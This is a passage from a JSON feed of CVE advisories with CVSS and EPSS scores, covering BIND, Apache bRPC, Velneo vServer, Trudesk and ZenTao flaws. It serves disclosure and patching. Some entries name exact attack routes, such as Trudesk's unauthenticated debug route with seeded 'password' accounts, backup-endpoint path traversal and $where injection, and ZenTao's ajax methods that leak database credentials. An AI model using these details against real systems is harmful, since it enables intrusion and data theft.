RPZ zones configured: one with the default setting of \"recursive-only yes\", and the other with \"recursive-only no\".\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:21:09.270Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97313","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00448,"percentile":0.38672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97313","type":"primary","publishedAt":"2026-10-21T13:21:09.270Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96888","cveId":"CVE-2026-96888","aliases":[],"kind":"vulnerability","title":"A BIND resolver that is configured with both a \"redirect\" zone and \"qname-minimization strict\" may abort with an assertion failure while processing the redirect.","summary":"A BIND resolver that is configured with both a \"redirect\" zone and \"qname-minimization strict\" may abort with an assertion failure while processing the redirect.\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.","detail":"A BIND resolver that is configured with both a \"redirect\" zone and \"qname-minimization strict\" may abort with an assertion failure while processing the redirect.\nThis issue affects BIND 9 versions 9.16.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.16.8-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:21:08.840Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96888","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00461,"percentile":0.39692,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96888&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96888","type":"primary","publishedAt":"2026-10-21T13:21:08.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96888&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96888, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94300","cveId":"CVE-2026-94300","aliases":[],"kind":"vulnerability","title":"Replaying GSS-TSIG signed UDP messages can result in memory corruption in \"`named`\".","summary":"Replaying GSS-TSIG signed UDP messages can result in memory corruption in \"`named`\".  An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.","detail":"Replaying GSS-TSIG signed UDP messages can result in memory corruption in \"`named`\".  An attacker who can capture a previously signed UDP message can replay it while the negotiated TSIG key is still valid. By also sending crafted queries to a zone the attacker controls, the attacker may potentially achieve remote code execution.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:21:08.670Z","updatedAt":"2026-10-22T23:20:34.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94300","asOf":"2026-10-22T23:20:34.090Z"},"epss":{"probability":0.00953,"percentile":0.61086,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94300&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94300","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94300","type":"primary","publishedAt":"2026-10-21T13:21:08.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94300&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94300, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-82230","cveId":"CVE-2026-82230","aliases":[],"kind":"vulnerability","title":"Uncontrolled recursion in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server crash via sending deeply nested...","summary":"Uncontrolled recursion in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server crash via sending deeply nested mcpack data.\n\nRoot Cause:\nThe bRPC mcpack2pb parser (used to serve nshead_mcpack / ubrpc / public_pbrpc requests) recursively parses nested objects and arrays without any depth limit. For a protobuf message that references itself (e.g. a repeated message field), the generated parser recurses once per nesting level of the incoming mcpack object. A deeply nested request makes the recursion grow unbounded, overflow the stack and crash the process.\n\nAffected Scenarios:\nUse bRPC server with a recursive-schema protobuf message to serve nshead_mcpack / ubrpc / public_pbrpc requests from untrusted network.\n\nHow to Fix:\n(Choose one of the following options)\n1. Upgrade bRPC to version 1.18.0, which fixes this issue.\n2. Apply this patch: https://github.com/apache/brpc/pull/3499\n\nNote:\nNo matter which option you choose, you should know that the fix enforces the documented parsing depth limit MAX_DEPTH (128) on the parse path, the same limit the serializer already applies. If your requests contain mcpack messages nested deeper than 128 levels, the request will be failed after applying the fix.","detail":"Uncontrolled recursion in the mcpack2pb component in Apache bRPC (version < 1.18.0) on all platforms allows remote attackers to make the server crash via sending deeply nested mcpack data.\n\nRoot Cause:\nThe bRPC mcpack2pb parser (used to serve nshead_mcpack / ubrpc / public_pbrpc requests) recursively parses nested objects and arrays without any depth limit. For a protobuf message that references itself (e.g. a repeated message field), the generated parser recurses once per nesting level of the incoming mcpack object. A deeply nested request makes the recursion grow unbounded, overflow the stack and crash the process.\n\nAffected Scenarios:\nUse bRPC server with a recursive-schema protobuf message to serve nshead_mcpack / ubrpc / public_pbrpc requests from untrusted network.\n\nHow to Fix:\n(Choose one of the following options)\n1. Upgrade bRPC to version 1.18.0, which fixes this issue.\n2. Apply this patch: https://github.com/apache/brpc/pull/3499\n\nNote:\nNo matter which option you choose, you should know that the fix enforces the documented parsing depth limit MAX_DEPTH (128) on the parse path, the same limit the serializer already applies. If your requests contain mcpack messages nested deeper than 128 levels, the request will be failed after applying the fix.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:20:02.970Z","updatedAt":"2026-10-22T16:56:37.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-82230","asOf":"2026-10-22T16:56:37.023Z"},"epss":{"probability":0.0055,"percentile":0.45771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-82230&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-82230","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82230","type":"primary","publishedAt":"2026-10-21T13:20:02.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82230&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-82230, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19630","cveId":"CVE-2026-19630","aliases":[],"kind":"vulnerability","title":"In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND.","summary":"In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND.  A DNS message with a maliciously large number of such structures will cause BIND to consume disproportionate amounts of CPU time and memory during processing.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.","detail":"In a BIND resolver, inbound DNS protocol messages with a particular structure will result in additional processing, with no limit imposed by BIND.  A DNS message with a maliciously large number of such structures will cause BIND to consume disproportionate amounts of CPU time and memory during processing.\nThis issue affects BIND 9 versions 9.11.0 through 9.18.50, 9.20.0 through 9.20.29, 9.21.0 through 9.21.26, 9.11.3-S1 through 9.18.50-S1, and 9.20.9-S1 through 9.20.29-S1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:32.453Z","updatedAt":"2026-10-22T17:36:46.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19630","asOf":"2026-10-22T17:36:46.950Z"},"epss":{"probability":0.00448,"percentile":0.38672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19630&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19630","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19630","type":"primary","publishedAt":"2026-10-21T13:18:32.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19630&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19630, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114405","cveId":"CVE-2026-114405","aliases":[],"kind":"vulnerability","title":"Improper validation of array index vulnerability in Velneo vServer.","summary":"Improper validation of array index vulnerability in Velneo vServer. This issue affects vServer: from 36.0 before 36.6 and from 37.0 before 37.2.","detail":"Improper validation of array index vulnerability in Velneo vServer. This issue affects vServer: from 36.0 before 36.6 and from 37.0 before 37.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:32.110Z","updatedAt":"2026-10-22T15:38:50.610Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114405","asOf":"2026-10-22T15:38:50.610Z"},"epss":{"probability":0.00344,"percentile":0.27626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114405","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114405","type":"primary","publishedAt":"2026-10-21T13:18:32.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114400","cveId":"CVE-2026-114400","aliases":[],"kind":"vulnerability","title":"Trudesk through 1.2.11 contains a missing authentication vulnerability that allows unauthenticated attackers to download private ticket attachments under /uploads.","summary":"Trudesk through 1.2.11 contains a missing authentication vulnerability that allows unauthenticated attackers to download private ticket attachments under /uploads. Because express.static serves the public/ directory before the hasAuth-guarded /uploads mount, attackers who know or guess a ticket ObjectId and filename can retrieve confidential attachments.","detail":"Trudesk through 1.2.11 contains a missing authentication vulnerability that allows unauthenticated attackers to download private ticket attachments under /uploads. Because express.static serves the public/ directory before the hasAuth-guarded /uploads mount, attackers who know or guess a ticket ObjectId and filename can retrieve confidential attachments.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:31.217Z","updatedAt":"2026-10-23T19:17:44.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114400","asOf":"2026-10-23T19:17:44.007Z"},"epss":{"probability":0.00553,"percentile":0.45921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114400&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114400","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114400","type":"primary","publishedAt":"2026-10-21T13:18:31.217Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114400&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114400, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114399","cveId":"CVE-2026-114399","aliases":[],"kind":"vulnerability","title":"Trudesk through 1.2.11 contains a path traversal vulnerability that allows administrators to delete arbitrary files by supplying encoded traversal sequences to DELETE...","summary":"Trudesk through 1.2.11 contains a path traversal vulnerability that allows administrators to delete arbitrary files by supplying encoded traversal sequences to DELETE /api/v1/backup/:backup. Attackers can also pass unvalidated file values to POST /api/v1/backup/restore to restore archives from, or extract to, paths outside the intended directories.","detail":"Trudesk through 1.2.11 contains a path traversal vulnerability that allows administrators to delete arbitrary files by supplying encoded traversal sequences to DELETE /api/v1/backup/:backup. Attackers can also pass unvalidated file values to POST /api/v1/backup/restore to restore archives from, or extract to, paths outside the intended directories.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:31.043Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114399","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00511,"percentile":0.43271,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114399","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114399","type":"primary","publishedAt":"2026-10-21T13:18:31.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114397","cveId":"CVE-2026-114397","aliases":[],"kind":"vulnerability","title":"Trudesk through 1.2.11 contains a missing authentication vulnerability in debug routes enabled whenever NODE_ENV is unset, letting unauthenticated attackers invoke them remotely.","summary":"Trudesk through 1.2.11 contains a missing authentication vulnerability in debug routes enabled whenever NODE_ENV is unset, letting unauthenticated attackers invoke them remotely. Attackers can call /debug/populatedb to delete all groups, tags and tickets, then log in with seeded accounts using the password 'password'.","detail":"Trudesk through 1.2.11 contains a missing authentication vulnerability in debug routes enabled whenever NODE_ENV is unset, letting unauthenticated attackers invoke them remotely. Attackers can call /debug/populatedb to delete all groups, tags and tickets, then log in with seeded accounts using the password 'password'.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:30.687Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114397","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.0042,"percentile":0.36022,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114397","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114397","type":"primary","publishedAt":"2026-10-21T13:18:30.687Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114396","cveId":"CVE-2026-114396","aliases":[],"kind":"vulnerability","title":"Trudesk through 1.2.11 contains a server-side JavaScript injection vulnerability that allows authenticated users to inject code into a MongoDB $where clause via the search...","summary":"Trudesk through 1.2.11 contains a server-side JavaScript injection vulnerability that allows authenticated users to inject code into a MongoDB $where clause via the search parameter. Attackers can close the regular expression in GET /api/v1/tickets/search to loop mongod for denial of service or leak full ticket documents including internal notes.","detail":"Trudesk through 1.2.11 contains a server-side JavaScript injection vulnerability that allows authenticated users to inject code into a MongoDB $where clause via the search parameter. Attackers can close the regular expression in GET /api/v1/tickets/search to loop mongod for denial of service or leak full ticket documents including internal notes.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T13:18:30.493Z","updatedAt":"2026-10-22T15:44:59.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114396","asOf":"2026-10-22T15:44:59.783Z"},"epss":{"probability":0.00477,"percentile":0.40911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114396","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114396","type":"primary","publishedAt":"2026-10-21T13:18:30.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114391","cveId":"CVE-2026-114391","aliases":[],"kind":"vulnerability","title":"ZenTao PMS before 22.3 contains an authorization bypass vulnerability in commonModel::isOpenMethod() that lets logged-in users skip group-based ACL checks for any method...","summary":"ZenTao PMS before 22.3 contains an authorization bypass vulnerability in commonModel::isOpenMethod() that lets logged-in users skip group-based ACL checks for any method containing 'ajax'. Minimal-privilege users can call methods like task.ajaxGetByID, system.ajaxDBAuthUrl and admin.ajaxChangeTableEngine to read data, obtain database credentials, trigger CI jobs and alter tables.","detail":"ZenTao PMS before 22.3 contains an authorization bypass vulnerability in 